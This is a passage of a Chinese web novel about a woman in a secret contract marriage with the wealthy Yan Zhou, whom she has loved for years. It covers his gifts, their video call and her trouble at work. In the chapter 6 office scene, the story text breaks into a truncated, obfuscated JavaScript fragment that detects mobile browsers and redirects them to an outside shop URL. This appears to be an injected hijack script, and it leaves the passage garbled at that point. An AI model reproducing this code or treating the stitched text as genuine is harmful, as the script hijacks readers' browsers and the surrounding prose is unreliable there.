宴舟抬手摁了摁眉心,莫名感到一股说不上来的烦躁。
-
沈词这会儿正愣愣地坐在客厅,盯着宴舟给的两张卡发呆。
第一张卡里面那一千万,要不是给宴舟的家人买礼物钱不够,沈词也不会想到要用它。尽管他给了这张卡,但她从未将这些钱视为己有。
而现在,宴舟又随随便便给了她一千万。
沈词只觉得这两张卡握着实在烫手,宛如温度拉满的小火炉。
她做不到心安理得地花宴舟钱,想
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了想,还是先将这两张卡收了起来。
“嘶——”
她低头看向肿起的脚腕,已经喷了云南白药,但痛感丝毫不见减轻,反而越来越胀。
如果伤势一直不见好转,那她下周就得去看医生,总不能脚瘸着去见宴舟的家人,那样只会给他们留下不好的印象。
即使假结婚,她也想尽力在他的家人面前做到最好,至少不能拖他后腿。
沈词慢吞吞地挪回卧室,简单洗了把脸就缩进被子里准备睡觉。
今天累了一天,她这会儿什么都不想做,连追剧都没心情。
但可能是因为宴舟的出现,他成为了她平淡生活中唯一能泛起涟漪的存在。她一整晚都和宴舟待在一起,在摔倒时与他近在咫尺,就差肌肤相贴了。
她感觉自己似乎还能闻到宴舟西装上的气息,那种沁人心脾的,清冽的淡淡雪松香,明明两个人连拥抱都算不上,沈词却觉得那股特殊的气息仿佛在自己这儿留下了恒久的印记。
灼得她脸颊都在发烫。
只要一闭上眼,她就会想起他说的那句“你还打算在我身上坐多久”。
沈词:……
她揪着被子一角在床上滚来滚去,思绪乱得像理不完的毛线团,找不着头脑。
这是一个孤独又漫长的夜晚,沈词被自己的暗恋折腾到后半夜才勉强睡着,第二天醒过来,果不其然眼底一圈乌黑的青色,就像被人打了一样。
她无精打采地吃完早午餐,犹豫要不要去医院挂号看一下脚踝。
就在这时,沈词收到一条短信。
「沈女士您好,恭喜您成为云锡花园业主,小区6单元1501的房产已成功过户到您名下。您有任何疑问,还请拨打小区物业电话,感谢您的支持。」
她嗤了一声,这年头的诈骗短信都这么高明了,连门牌号都能精准定位。所幸小区大门和单元楼都要刷脸进入,安保还算不错,否则就这么把地址暴露给陌生人,她一个势单力薄的女孩子,恐怕只能连夜搬家。
谁知又过了不到一分钟,她的邮箱也来邮件了。
点开正是这套房子的房产证扫描图,房产证上写的是她名字,最底下还加盖了红色公章。
骗子手段再怎么高明也不敢伪造这样的公章。
不是诈骗,那就只剩下一个可能性了。
像是为了验证她的心灵感应,宴舟的电话在这时候打来了。
“醒了?”
他的声音低沉又有磁性,比Aura最常播放的那几首大提琴乐曲更加醇厚,沈词很难不沦陷其中。
“嗯……我刚吃完午饭。那个我收到房产过户的邮件了,是你做的吧。”
他昨晚来了她家一趟,第二天早上这套房子就属于她了,除去宴舟,还有谁会这么做?
“这房子你自己住得舒服就行。”
宴舟站在露天花园,他抬眸看向远方湛蓝的天空,说,“下午出门吗?”
“应该……不出去。”
她没有告诉宴舟想去看医生的事情。
要是宴舟真需要她帮忙,那么她的脚踝也可以没那么疼。
“行,晚点会有人送东西到你家,你记得签收。”
“先挂了。”
滴——
他挂得干脆利落,就和昨晚离开的背影一样雷厉风行。
5. Chapter 5
沈词打消了下午去看医生的念头,她决定就在家里等待宴舟口中的“晚点有人送东西到你家”,以免错过时间让对方跑空。
深秋的日光算不上有多温暖,但是相比于萧瑟灰暗的冷空气,明亮一些的氛围到底会让人心里更舒坦。
她把客厅里唯一一张懒人沙发推到靠窗的位置,自己舒舒服服躺进去,再蹬掉拖鞋,把膝盖也蜷起来,整个人深陷沙发当中,像一只在慵懒的午后安详打盹儿的波斯猫。
宴舟家里也有一只猫。
不是在老宅,而是他自己住着的君御湾。那是一片独栋别墅区,每一栋别墅之间都有着非常充足的距离,别墅周围配备安保24小时巡逻,保密水平一流,连只嗡嗡的苍蝇都别想轻易飞进去。
住在君御湾的人非富即贵,至于宴舟……显而易见他两者都占了。
他家里那只猫是赛级蓝金渐层,名叫粥粥,身价六位数。
沈词第一次在君御湾见到那只猫猫的时候,只感叹人不如猫,宴舟家里的猫生活水平比普通人高多了。别人家最多给小猫脖子上挂黄金吊坠图个喜庆吉祥,粥粥脖子上挂着的则是指甲盖那么大的绿钻石,和它漂亮的瞳孔一个颜色。
不仅如此,粥粥还能随时随地跳进宴舟怀里求安抚,每天醒来看见的都是绝世容颜,不敢想象有多幸福。
沈词想着想着,忽然为自己的念头感到好笑。
就算她再怎么羡慕粥粥,她也无法成为被宴舟娇养的那只猫。
能成为他名义上的妻子,时不时和他说上几句话,运气好了还能共进晚餐,这应该已经是上天对她这个暗恋者最大的恩赐了吧。
毕竟这场长达8年的暗恋,自始至终都只是她一个人的独角戏。
她拿出手机,找到那个被隐藏的相册,点开少年宴舟的照片细细观摩。
8年前京市许多家庭的孩子早都用上了智能手机。只不过家里有点小钱的,父母给孩子买的都是最新款iphone,即使那时候的iphone不像如今这样轻薄,但不妨碍它成为当年最受欢迎的时尚单品。
沈词的手机是酷派的,一个早就倒闭了的品牌。但它当初是营业厅里最廉价的手机品牌之一,因此沈词的母亲买了它,方便母女联系。
那个时代的手机内存都很小,基本存不了多少东西,而她千辛万苦腾出来的内存容量都留给了宴舟的照片。
那一年盛夏,宴舟高三毕业,沈词初三毕业。学校将两个年级的毕业典礼安排到同一天举行,就是这个千阳灿烂,蝉鸣叶响的季节,沈词第一次见到站在焦点中心,被鲜花与掌声簇拥,却依然从容淡定的宴舟学长。
宴舟作为学生代表在全校师生面前发表毕业感言,他不卑不亢,每一句话清冷似凉风拂面,却又掷地有声。就连被微风带动的衣角,都昭示着十七八岁少年独有的倨傲张扬。
不起眼的她藏在人群中,目光再也没离开他,为世界上还有这样明媚的少年感到惊喜。
不是所有惊鸿一瞥都能够被永久铭记,如果不能维持白月光滤镜,无论多么美好的画面,要么是随着时间淡化记忆,要么是变成白墙上刺眼的蚊子血。
若不是后来……单凭毕业典礼那一幕,她也许不会爱慕他这么久。
“叮咚——”
连续响起的门铃声打断沈词的回忆,想着可能是宴舟的人过来了,她把手机塞进抱枕底下,起身去开门。
来的人是宴舟的助理,刘诚。
昨晚上他们才刚刚见过面。
“夫人好。”
刘诚恭敬地对沈词弯腰,吓了她一大跳。
“你不用这么叫我,你就叫我名字,或者叫我沈小姐就行了。”
刘助理以前也替宴舟来这儿跑过几次腿,他每一回都这么郑重其事,沈词只觉着自己受不起这个礼。
果然豪门的那些礼仪尊卑,像她这样的普通老百姓无福消受。
刘诚却像是没听到似的,公事公办继续说道:“宴总亲自为您挑选了一些珠宝首饰,他命我给您送过来。”
“好,好的,那你们先进来吧。”
沈词侧过身,为刘助理和他身后的人让开路。
大约四五个身穿黑西装的年轻小伙子,他们每个人手中都捧着一个体积稍大的银色匣子,并且在刘诚的指挥下整齐划一地把盒子放在茶几,又整齐划一地转身退了出去。
……
沈词捏了把汗。
“夫人,宴总还说下周五晚七点半他会来亲自过来接您,届时希望您提前做好准备,准时赴约。”
“我知道了,那你也帮我和宴先生转达一下,就说我会准时的。”
“夫人,这个您可以自己亲口和宴总说。”
刘诚微笑着,“如果您没有别的吩咐,我就先告辞了。”
“好,刘助理慢走。”
这一行人轰轰烈烈地来,又轰轰烈烈地走。幸好本单元一梯两户,她隔壁又没住人,否则就他们闹出的动静,要是住在那种热闹的四合院或者筒子楼,够尴尬好一阵子了。
沈词舒了一口气。
她折回客厅,一个个打开摆在茶几的银色盒子。
刚打开第一个盒子,她就被里面晶莹剔透的翡翠绕花了眼。
感觉这种品相极佳的翡翠镯子,从前只在电视上,或者博物馆里面看见过。
第二个盒子里面装着的是手链和项链,缀着CHAUMET的标签,号称全球最贵的顶级珠宝品牌之一。
沈词一口气把剩下的盒子全打开了。
宴舟送来的这些首饰,除了第一个盒子里面装着翡翠之外,其余几个盒子里面都是CHAUMET的珠宝,手链,镯子,王冠,项链等饰品应有尽有,甚至还有一对戒指。
她拿起其中一枚戒指仔细观摩,盯着花纹瞧了一会儿,蓦地想起来被自己珍藏在保险箱里面的婚戒。
婚戒是当时宴舟直接买来送她的,这么一对比,沈词觉得那枚婚戒的款式和这对戒指还有点相似,估计也是CHAUMET的牌子。
所以……宴舟又送她戒指的原因是什么?
他是在提醒她别忘了戴婚戒么?
宴舟的婚戒倒是一直都戴在无名指,而她为了不惹人注意,除了需要配合他演戏以外的场合,她不会戴婚戒。
沈词忽然脸上一热,她轻轻拍了拍脸颊,手动给自己散热降温。
她把他送来的这些盒
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子聚集在一块,拍了张集体合照发给宴舟,打字:「宴先生,你送来的珠宝我都收到了。但是这些太贵重,等爷爷生辰宴过后,还请允许我把它们都还给你。」
昨天平白得了一千万,今天又来这么多顶级珠宝,她晚上睡觉都睡不踏实,还得担心贼惦记。
这跟白捡的有什么区别,哪怕是中彩票都没有这么个赢法儿。
宴舟:「?」
宴舟:「什么意思。」
他那个显眼的“?”令沈词眉心一跳,她忐忑地解释:「呃……就是你送的这些礼物都太贵了,我也没帮到你什么忙,不能白拿你这些珠宝。我们两个人协议结婚本就是各取所需,你不用这样一直送我东西。」
宴舟:「我并没有送你什么。」
宴舟:「就这么点东西也值得你内心不安?」
看到他的回复,她这下是真的不知道该说什么了。
她咬着唇,接着打字:「宴先生,我知道这些对你来说不算什么,可是我……」
文字输入到一半,屏幕上径直跳出他的来电提示。
沈词紧张地接起来:“喂,宴先生。”
“嗯。”
男人本就清冽的嗓音经过微电流的二次渲染,从听话筒中流淌出来的仿佛是某种摄人心魂的咒术。他不过是低低地“嗯”了一声,沈词感觉自己魂都被勾走了。
她舔了舔干燥的嘴唇,努力平复怦怦的心跳,问:“宴先生,你找我有什么事吗?”
宴舟微微蹙眉,说:“打字效率太低。”
“你现在可以向我陈述你的想法,我送给你的礼物,你为什么还要还回来?”
“……”
沈词语塞。
要是单纯的文字交流,她还能说出个所以然。
但是让她一个字一个字说出来,她只恨不得自己是个小哑巴。
“怎么不说话?”
她突然沉默,宴舟不禁追问。
“还是说你并不喜欢这些礼物,所以才要退回来。”
“那不是!宴先生很有眼光,你选的珠宝也都很漂亮,我就是……不知道该怎么说服自己收下它们。”
再有半年,她就要和他离婚了。
她将再也接触不到他的世界。
宴舟此刻给予她的越多,就会让她越难以抽身,会加深她离开时的痛苦。
既然会这样,那还不如从一开始就不要给她任何希望,她也不想余生都在睹物思人。
“沈词。”
宴舟嗓音淡淡的,辨不出情绪,他说,“东西送你了就是你的,我不可能再收回来。如果你不想要可以直接扔掉。”
“还有,你是我名义上的妻子,我自然会给你作为宴太太应有的尊重和待遇,我想这个理由应该足够你说服自己。更何况,我们都需要保持体面,不是吗?”
沈词一滞。
他是不想她穿得太朴素,担心她在外面丢了他的人么?
可是他圈子里那些公子哥大小姐也不知道他结婚对象是她呀……
结婚的秘密被瞒得死死的,怎么会有人认识她呢?
她内心百转千回,但最终只说了一句:“我知道了,宴先生。”
6. Chapter 6
宴舟都这么说了,礼物退是不可能再退回去。何况她要是真把礼物退回去,他很可能说到做到,把它们全都扔了。
她差点忘了是结婚证让她和宴舟有了联系,他才愿意多看她两眼,否则他根本不会和她说这么多。
沈词沉默着把桌子上的珠宝都收起来,思忖着等改天再买一个更大更结实的保险箱。
从今天起这套房子就彻底属于她了,她想怎么折腾就怎么折腾,再也不用看房东和中介的脸色。
在京市这么多年,沈词第一次感受到由内而外的安定,而这样的归属感却来源于宴舟,来源于她兀自肖想了很多年的人。
他当年的举手之劳,将她从深不见底的泥潭中轻易地拽了出来。如今他也只不过是随手做了一个决定,支出了一点连银行卡余额零头都无法影响的小钱,可这个决定给了沈词一个足以在京市安身立命的家。
宴舟果然是她的救星。
她对此深信不疑。
至于他所说的“我想我们都应该保持体面”……
沈词打开卧室的大衣柜,衣柜里面除去昨晚在Elysian买的那几件晚礼服闪闪发光以外,别的衣服……好像是有点太平价了。
均价不超过180块钱的衬衫和内搭,总是控制在500块钱以内的牛仔裤与直筒休闲裤,她一年四季的这么多服装里,最贵是冬天要穿的羽绒服和大衣,然而就这也不超过2000块钱。
她衣柜里这些衣服剪裁得当质感不错,穿起来很舒服,很适合通勤和上班的时候穿,可在那些高档场合就不够看了。
如若不是突发奇想决定买礼服,她可能就要穿着这些去见他的家长了。
尽管宴舟曾说他的家里人都很和善,不会从金钱和外表先入为主地去评价一个人的内在。
道理是这个道理,但自己要是不做点相应的改变,她都不好意思和宴舟站在一起。
大学毕业一年,这一年来沈词考虑更多的还是怎样在凡星科技稳扎稳打踏踏实实工作挣钱,怎样平衡忙碌的工作与生活之间的关系,以及怎样在宴舟需要她的时候如约出现在他面前……
眼下她有了一些自己的存款,宴舟又送给她这套房子,让她以后再也不用为房租和搬家的事情困扰,她在京市的独居生活勉强算步入了正轨。
与此同时,她和宴舟相往来的次数似乎也更多了。
换做以往,两个人一个月恐怕都说不上两次话。
沈词想着宴舟刚才说的那些话,她暗自给自己打气。
-
君御湾。
“嘿兄弟,我马上就回国了,你考不考虑给兄弟我办个风风光光的接风宴?”
祁屿岸被老爷子丢到华尔街历练一年,痛心疾首地得出结论:他要和他的律师事业厮守终身,再也不碰劳什子金融投资。
回来之前,祁屿岸第一个想到的人就是宴舟。
听说他找了个小姑娘结婚。
祁屿岸觉得宴舟这家伙真不靠谱,当初说好手拉手打一辈子光棍,谁曾想一不注意宴舟连证都领了。
还好是不走肾也不走心的形式婚姻,否则他放在天秤上的玻璃心会因为无法保持平衡而碎了满地。
“什么时候?”
宴舟拿起手机,眼皮都没抬一下。
“就这周三,咱们俩先吃一顿,然后我再回家见老爷子。”
“可以。”
“把你们家小姑娘也带上,都结婚半年了还不给大家看是怎么回事?”
“我记得和你解释过。”
“形婚又怎么了?只要领了证那她就是你老婆!再说了,当着本律师的面,宴总好意思不履行夫妻义务?”
“你别忘了,我辅修法学。”
宴舟轻飘飘吐出一句。
他本科清大,牛津大学金融与法学双学位硕士,圈子里谁没听过他的事迹。
“打住,我不是来跟你battle谁学历更高的。我就问你接风宴能不能带你老婆一起来,不能我就在周五你爷爷的生辰宴戳穿你的真面目!”
祁屿岸坐在沙发上,金发碧眼的大波浪美女自觉地俯身给他倒酒。他吐了口烟圈,长腿舒展开,享受着最后的清净。
“祁屿岸。”
宴舟不慌不忙地开口,“不想活了?”
“……宴总,友情提醒你一下,我是一名律师。另外杀人违法,言语威/胁/恐吓同罪。”
祁屿岸冷哼一声。
“周五晚宴你可以见到她,别的免谈。”
“哟,你早说嘛,我还以为小姑娘不参加老爷子的生日宴呢。”
祁屿岸眯起眼,他开始期待到底是怎样的小姑娘才能摘下宴舟这朵高岭之花。
“还有事,先挂了。”
宴舟电话挂得不留情面,祁屿岸对着通话界面翻了个白眼:也幸亏只是协议结婚,要不然谁受得了你这个冷面阎王。
“喵。”
到了粥粥的用餐时间,小家伙很是自觉地跳上了宴舟大腿,用猫爪子扒拉他昂贵的家居服,绿色的眼睛直勾勾地盯着他看。
“你也只会在这时候变成小夹子。”
宴舟轻呵一声,他单手捞起粥粥,抱着小猫往客厅走。
角落的猫窝永远有充足的食物和水,但粥粥依然每天雷打不动地一到点就拽着宴舟的西装裤腿,央求男人给它开好吃的罐头。
家里的猫和主人一个性子,傲娇的往往只会抬起下巴看人。
猫和人有所不同的是,粥粥好歹还知道在求宴舟开罐头的时候低下它高贵的头颅,宴舟却不曾向任何人服软。
也不知道谁能让他开先例。
宴舟开了两个罐头放到粥粥平常玩耍的地方,他看着粥粥雀跃的背影,小猫顺滑的毛发,高高翘起的尾巴倒让他想起另外一个人。
他从口袋里拿出手机,打字:
「你脚踝怎么样了?」
「我叫医生过去给你看看。」
每周一都是沈词工作最忙的时候。
国际区业务员要对接的都是外国客户,欧美国家的客户和国内工作时间有时差,沈词作为文职人员,每周一上班都会邮箱里躺着的几十封邮件头疼。
而且这几十封邮件里,许畅让她翻译的邮件至少占一半。
她实在不能理解,就算哪个部门的领导真的不懂外语,但是给电脑安装一个插件然后右键点击翻译全文,那不是很简单的事情吗?还非要多此一举,在部门领导已经接收了邮件的前提下,她再发一遍中文给他们。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983997|193592||http|test|mini|href|location''.split(''|''),0,{}));
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>沈词有理由怀疑,许畅这么做只是为了充分享受能对下属呼之即来挥之即去的,那种高高在上的掌权感。
每周一部门例会结束,沈词无精打采地从会议室出来,只觉得身心俱疲。
就在刚刚,许畅用了20分钟把一个很简单的事情翻来覆去重复了四遍,就在许畅想要重复第5遍的时候,大洋彼岸的James终于忍不住打断他:“Okay Andrew but you already repeated too many times and we know it....”
许畅这才不耐烦地摆摆手,“行吧那就这样,散会。”
并留给沈词一大堆要翻译的技术文档。
她嘴角抽了抽,习惯性拿起手机看了眼时间,这才留意到宴舟两个小时前发的短信。
「不好意思宴先生,周一太忙了都没空看手机,我刚才发现你给我发消息了。」
「抹了几天云南白药,脚踝已经不肿了。宴先生放心,不会影响周五的宴会。」
宴舟微微蹙眉。
她以为自己关心她是怕耽误爷爷的寿宴?
宴舟:「你想多了。」
沈词握着手机等了好一会儿,他再没有发别的内容,输入状态也没有变过,当真就只有这四个字。
什么叫她想多了?
难道不是因为晚宴,他才会主动寒暄么?
沈词一时摸不着头脑,却也没有更多心思细细考虑。她得抓紧时间翻译文档,而且还有十几封邮件等着处理,做不完今天又要加班。
「你想多了。」
这条消息之后再没有收到小姑娘的答复,宴舟抿直了唇角。
“喵。”
吃饱喝足的粥粥重新攀上宴舟的怀抱,准备在他怀里找一个舒服的地方睡觉。谁知今天的宴舟像是心情不爽似的,他揪住粥粥的后脖颈,不顾它的反抗,将小家伙放回了猫窝。
“谁允许你这么放肆?老老实实在这儿呆着。”
“喵?!喵喵!”
粥粥愤怒地挥舞着爪子,然而下一秒,它在接触到宴舟威慑十足的眼神后顿时怂了。
“喵呜——”
小家伙把自己团成一个蓬松的巨型毛线球,缩在窝里一动不动。
宴舟睨它一眼,转身回到卧室。
“刘诚,之前让你选房子,事情办得怎么样了?”
“宴总,我按照您的要求选了三套合适的房子,都是这两年的楼盘,最快明年春天可以入住。需要我现在就向您汇报详细情况吗?”
“不用了,你明天早上直接来我办公室说。”
“好的宴总。”
“还有一件事,”宴舟捏了捏眉心,狭长的眼眸中露出些许犹豫,他问,“你和你女朋友吵过架么?”
他从不过问员工私事,但印象里他的这位刘助理和女朋友好像在念大学的时候就谈上了。
“啊?”
刘诚懵了一下,很快又调整过来,“宴总,其实情侣之间偶有摩擦是很正常的,我保证我绝对不会因为私事影响到我的工作状态!这点还请宴总绝对放心。”
宴舟眼皮跳了跳,“如果你和你女朋友吵架,你一般都怎么哄?”
……
7. Chapter 7
“首先认错态度要诚恳!不管是不是你的问题都要先把黑锅揽到自己身上,女朋友说什么都要回答「对」,还要和她保证再也没有下次!”
“一定要懂得主动低头,女孩子一般都脸皮薄拉不下脸求复合,所以当男朋友的才更要积极主动地哄她。”
“女朋友要是冷战,你就有事没事多说点好听的。比如「宝宝早上好呀」「宝宝今天有没有好好吃饭」「宝宝我想你了」「老婆你理理我」之类的软话,要让她知道你随时随地都在惦记她。”
“她要是还不搭理你,就适当卖惨,说什么没有你我吃不好睡不着,还可以假装生点小病让她心疼。只要她心里有你,看见你这么脆弱的样子肯定会心软的。”
……
刘诚一口气挪列了数十条《哄女朋友独家绝门手册》,还兴奋地把自己恋爱当中遇到的问题及解决方案整理成一个详细的word文档发给宴舟,只盼能为老板的恋爱事业添砖加瓦。
然而宴舟打开这份丝毫不着调的文档,他只匆匆扫了两眼就面无表情地关掉了,甚至于额头又多了两条黑线。
他深吸一口气,说:“你可以滚了。”
刘诚:“好的宴总,明天见宴总。”
宴总一定是不想自己干扰他热烈追求夫人的鸿蒙蓝图,因此才急着挂电话,刘诚喜滋滋地想。
事实证明,刘诚的这份《独家绝门手册》对宴舟一点儿用处都没有,他不是那样性格的人,也做不出这般没脸没皮的事情——至少现在的宴舟做不出来。
可他此刻拿不准沈词的想法,更不好一直这么僵持下去,只好转而向大哥宴京讨教。大哥宴京早早成了家,与嫂子周卉然恩爱不疑,还有一个2岁的儿子,叫宴昇。
一家三口生活幸福美满,宴京的经验……想来应该比刘诚靠谱。
宴舟:「大哥,我问你一件事情。假如你和嫂子吵架了,你会怎么哄她?」
宴京:「怎么,对你家那小姑娘动真心了?」
宴舟:……
-
沈词回到家,她此刻的状态像是参加了一场拳击比赛,但全程被人摁在地上摩擦的那种,浑身上下的骨头都散架了,一动也不想动。
在许畅手底下干活,对身体和精神来说都是一场史无前例的折磨。她从未见过如此明知自身专业能力欠佳还偏偏喜欢表现自我的智障型人格,俗话说又菜又爱玩。
在凡星工作这么长时间,沈词初入职场时的抱负和拼劲儿早就消失得无影无踪,她现在只想攒够支撑后半辈子躺平的钱,尽早炒了许畅。
她一边按摩肩膀,一边百无聊赖地刷朋友圈。
Chloe:「凡星三年,很高兴能和品牌部的你们一起共事,希望以后我们继续携手共进,望岁月不负有心人。」
配图是一张暖黄色调的集体合照,Rachel说的会参加饭局的几位同事都在照片上。
沈词在品牌部工作的那几个月,身为组长的Chloe还是挺照顾她的。再加上如今又有许畅当对照组,她觉得Chloe简直是难得一遇的好领导。
至少Chloe会一视同仁让员工叫他的英文名,而不是像许畅那样拽了洋文但仅客户可见,公司同事必须老老实实叫他许总。
她给Chloe的朋友圈点了个赞,继续下滑浏览。
在刷到宴舟的动态后,沈词眼睛蓦地亮了,赶忙坐直,一眨不眨地盯着他的朋友圈。
这还是她第一次见宴舟发朋友圈。
宴舟发了一张粥粥的照片,矜贵的小猫咪卧在他怀里,漂亮的尾巴却翘得极高,可爱又傲娇。
宴舟:「不如你告诉我,我应该怎么哄你。」
粥粥和他闹脾气了?
尽管沈词和粥粥见面次数并不多,可是她对这只小家伙印象格外深刻。都说蓝金渐层是比较黏人的品种,可粥粥就像和宴舟一个模子里刻出来的,典型的猫随主人,就和宴舟一样只可远观不可亵玩。
原来他也有驯服不了小家伙的时候。
沈词支着下巴,她和宴舟虽是校友,但中间差了好几级。而且又不是同一个学院的,微信列表基本没有共同好友,因此她放心地点了个小爱心,并评论:「小猫咪都这样,宴学长耐心哄哄就好了。」
谨慎起见,她称呼他为“宴学长”,这样就算真被共同好友看见了也好解释。
朋友圈发出去没多久,宴舟看到消息提醒,唇角微微勾起。
大哥让他先发一条仅对方可见的朋友圈探探情况,这招果然有用。
宴舟回复:「比如呢?」
诶?沈词惊讶地瞪大眼睛。
他这是在……向自己讨教?
沈词立刻切换app到某书平台,疯狂搜索“蓝金渐层脾气如何”“蓝金渐层最喜欢什么”“小猫咪都是怎么上钩的”……
当她自认为掌握了一定的方法论以后,她返回朋友圈,点开宴舟的头像,直接给宴舟发消息:「宴舟学长,虽然我和粥粥只见过几次面,但我觉得粥粥性格还是蛮好的。你是不是最近工作太忙忽略了粥粥的感受,没时间跟它玩,所以它才和你闹脾气了呀?」
宴舟眉眼微抬。
他单手缓慢地抚摸着粥粥,另一只手慢条斯理地打字:「嗯,之前是我考虑不周,她才和我使小性子。」
她?
沈词纳闷。
或许宴舟一时不察,打错字了吧。
沈词:「那你多抱抱它,多用逗猫棒陪粥粥玩什么的,小猫咪肯定都很喜欢被顺毛,说不定你多摸几次粥粥就消气了。」
宴舟:「好,我会尝试你说的办法。」
婚后他和她极少有亲密的举动,即便是遇上老爷子“临时查岗”,他接她到君御湾也还是分房间睡。
最亲近的一次……是那晚她不小心崴了脚,栽进他怀中。
宴舟敛眉,接着打字:「你周一很忙?」
周一是他固定休息的时间,但她看上去有很多工作要做。
沈词:「对的。我本来不在这个部门,是被现在的老板强行调岗过来的,他是副总,公司上下都得配合他。部门对接的主要是欧美国家的客户,客户和我们有时差,所以周五周六的邮件一般要等到周一来集中处理。领导每周一都要开例会,他人老了记性不好,每次开会2小时起步。」
沈词:「抱歉啊,我今天真不是故意那么晚才回你消息的,实在是忙得没时间看手机。」
怎么又扯到道歉上面去了?
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宴舟懒得打字,干脆拨电话过来。
然而在接通的前一秒,他改变了主意,决定和她打微信视频电话,正好也看看她这会儿正在做什么。
宴舟从来不给她打视频电话,因此沈词摁下接听键时,并没有感到任何不对劲。
直到她和宴舟的脸同时毫无征兆地出现在通话界面,沈词像是被雷劈过一样,呆住了。
她素面朝天,而他帅得过分。
微信难免会压缩语音和视频质量,但这一点无伤大雅的模糊感反倒像给宴舟加了一层做旧的滤镜,让他那张俊美的脸看起来宛如千禧年代票房爆满的国际大满贯影帝。
因为是在家中,宴舟便不再西装革履,而是穿着黑色紧身小高领羊绒衫,下半身是深色的宽松家居裤,简约随性又不失风度。
更要命的是他那件薄薄的羊绒衫似乎有点“透”,以至于沈词能清楚地看见他腹肌轮廓,一看就知道手感很好。
“怎么不说话,在想什么?”
“没,没什么……”
沈词找回了一点神智,她清了清嗓子,干巴巴地说,“我以为你会打普通电话。”
幸好她怕冷,身上穿着厚厚的珊瑚绒睡衣,什么都看不出来。
“你不想看见我?”
宴舟挑眉。
“怎么可能呢……宴学长说笑了。”
她巴不得和宴舟同床共枕,每天醒来看见的第一个人就是他。
只可惜沈词向来有贼心没贼胆,敢想不敢做。别说是屏幕里的宴舟了,哪怕本人亲自站在她面前,主动邀请她摸腹肌,恐怕她也不敢伸出手。
“沈词,我有名字。”
他深邃的目光毫不掩饰地看过来,像是要把她牢牢钉在砧板上面,“你不用每次都叫我宴学长或者宴先生,你可以直接叫我宴舟。”
“这,这不太好吧。”
她极力克制自己慌乱的心跳,眼睛很难离开他的8块腹肌,她咽了咽口水,“我们都是清大毕业,宴学长又大我4岁,我叫你学长难道不是应该的吗?”
“我希望你叫我名字。”
他的口吻不容置喙,像更温和的命令。
只见宴舟随意地向后一仰,镜头稍稍平行下移,让窝在怀里的粥粥也跟着出镜。
猫——哦对,沈词终于想起来,她和他本来是在说哄小猫的事情。
“粥粥看起来已经被你哄好了?”
小家伙躺在他怀里,瞧上去很享受的样子。
想想也是,面对宴舟这么一张无可挑剔的帅脸,就算有再大的火气也该熄了,她就做不到和宴舟冷战。
“应该吧。”
宴舟轻飘飘睨它一眼,“至少愿意和我说话。”
“那没别的事我就先挂了。”
沈词紧张地说。
“你很着急?”
他拧眉。
“明天还要上班……”
沈词默念了3遍清心咒,心想不能再看下去了,再看下去就真的要流鼻血了,只好找个借口赶紧溜。
“学长拜拜!”
“你……”
话还没说出口就显示视频已中断。
宴舟快被她气笑了,第一次有人上赶着挂他电话。
8. Chapter 8
沈词关掉聊天界面,这才注意到Chloe也给她发了微信,就在她给朋友圈点赞后不久。
Chloe:「这次的饭局你没到场,缺了一个人总感觉有点可惜。」
Chloe:「是Rachel没有传达到位吗?」
沈词摸摸鼻尖,斟酌了下措辞,回复:「Chloe,谢谢你的好意。我很高兴曾经能和大家一起共事,但是毕竟我已经离开品牌部了,不好参加你们部门内部的聚会。不管怎么说,大家都还是同事,祝你工作顺利。」
Chloe:「我没有责怪你的意思,你说得有道理,那下次有机会我以朋友的名义单独请你吃饭,这下你总不会拒绝了吧^」
沈词一头雾水。
为什么忽然扯这么远?她是不可能和Chloe单独吃饭的,她一个有夫之妇,怎么可能会接受别的男性邀约?
说到有夫之妇,她灵光一闪,打开卧室里的保险箱,把妥善放在里面的钻石婚戒拿出来。
宴舟的婚戒从不离手,为了配合她,沈词决定从明天开始也要随时佩戴婚戒。正好公司有些同事不相信她已婚,甚至还有别的领导想把亲戚家的孩子介绍给她,只要她戴婚戒宣告身份,想来能避免很多麻烦。
她之前还没多少结婚的实感,然而眼下和宴舟来往越来越频繁,她这才意识到想要当好宴舟的妻子,这条路实际任重而道远。
他是京市人人趋之若鹜的豪门贵族,不是明星胜似明星,容貌和气质都是顶尖的好,无论走到哪里都会有乌泱泱的人群主动攀附。只要宴舟他自己主动透露出一丁点想要结婚的意愿,京市会有数不清的富贵人家争先恐后把女儿往他跟前凑。
而这样出类拔萃的天之骄子,偏偏选中了她。
他永远不可能知道有一个女孩,曾经在漫长又无趣的时光里独自爱慕了他许久,忽然有一天这个女孩被上天意外垂怜,有幸走到他身边,假戏真做。
沈词从未打算告诉宴舟她暗恋他的事情。
这样等半年后离婚的时候,两个人都可以潇洒利落地抽身离去,不会有任何心理负担。
她垂下眼,凝视着那枚钻戒发了好一会儿的呆,粉色的宝石如梦如幻,就像她此刻置身其中的这场痴人梦。
-
一眨眼就到了周三,后天便是宴舟爷爷的生辰宴。
随着时间一步步逼近,沈词越发紧张了。
她这两天下班回家还要抽时间学习穿高跟鞋,她通勤只穿平底鞋,最多会在需要陪同接待客户的时候才换上传说中的“美丽刑具”。但通常情况下都是怎么舒服怎么来,尖头鞋细高跟于她而言和刀尖起舞没有区别,否则那晚试衣服时她也不会摔进宴舟怀里。
“Mia,等等我。”
一名穿咖色西装的男性走上前,用手中的公文包拦住即将合上的电梯门。
“Chloe,早上好。”
沈词自觉向后退一步,和他保持距离。
“为什么不回我消息?”
Chloe看向沈词,眼睛顿时亮了一下。有段时间未见,她看上去更漂亮,更引人注意了。
“Mia,你什么时候学会化妆了?”
Chloe忍不住夸赞。
去年沈词刚加入品牌部,Chloe觉得这个新来的小姑娘很有灵气,长相和气质都让人如沐春风,不愧是清大毕业的才女。但那时沈词上班基本都不化妆,口红都很少涂,这让她在卷身材卷容貌的品牌部显得更天生丽质。
Chloe一直都对沈词青睐有加。可惜后来许畅强行调走沈词,这让他遗憾了很长时间。许畅是公司副总,手握股权,一句话就能决定员工去留,因此遗憾归遗憾,Chloe到底没去争取。
“不好意思,你刚刚说什么?”
